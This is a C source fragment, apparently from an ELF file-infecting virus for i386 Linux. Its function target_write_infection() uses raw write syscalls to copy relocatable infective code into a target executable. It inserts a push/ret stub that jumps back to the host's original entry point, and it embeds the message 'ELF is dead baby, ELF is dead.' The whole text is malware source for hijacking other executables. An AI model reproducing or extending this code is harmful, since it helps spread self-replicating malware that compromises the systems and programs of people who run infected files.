int get_relocate_ofs(void);
int do_syscall(int, ...);
extern const char msg[];

#include "infection.inc"
#include "body.inc"
#include "get_relocate_ofs.inc"
#include "do_syscall.inc"

const char msg[] __attribute__ (( section(".text") )) =
  "ELF is dead baby, ELF is dead.\n";

void end() {}

unsigned target_write_infection(Target* t)
{
  int ofs = get_relocate_ofs();
  char* r_begin = ofs + (char*)&infection;
  char* r_end = ofs + (char*)&end;
  unsigned size = r_end - r_begin;

  enum { REST_OFS = ENTRY_POINT_OFS + sizeof(t->original_entry) };
  TRACE(stderr,
    "target_write_infection ENTRY_POINT_OFS=%d ofs=%d r_begin=%p\n",
    ENTRY_POINT_OFS, ofs, r_begin
  );

  /* i386: first byte is the opcode for "push" */
  do_syscall(4, t->fd_dst, r_begin, ENTRY_POINT_OFS);

  /* i386: next four bytes is the address to "ret" to */
  do_syscall(4, t->fd_dst, &t->original_entry, sizeof(t->original_entry));

  /* rest of infective code */
  do_syscall(4, t->fd_dst, r_begin + REST_OFS, size - REST_OFS);
  return size;
}
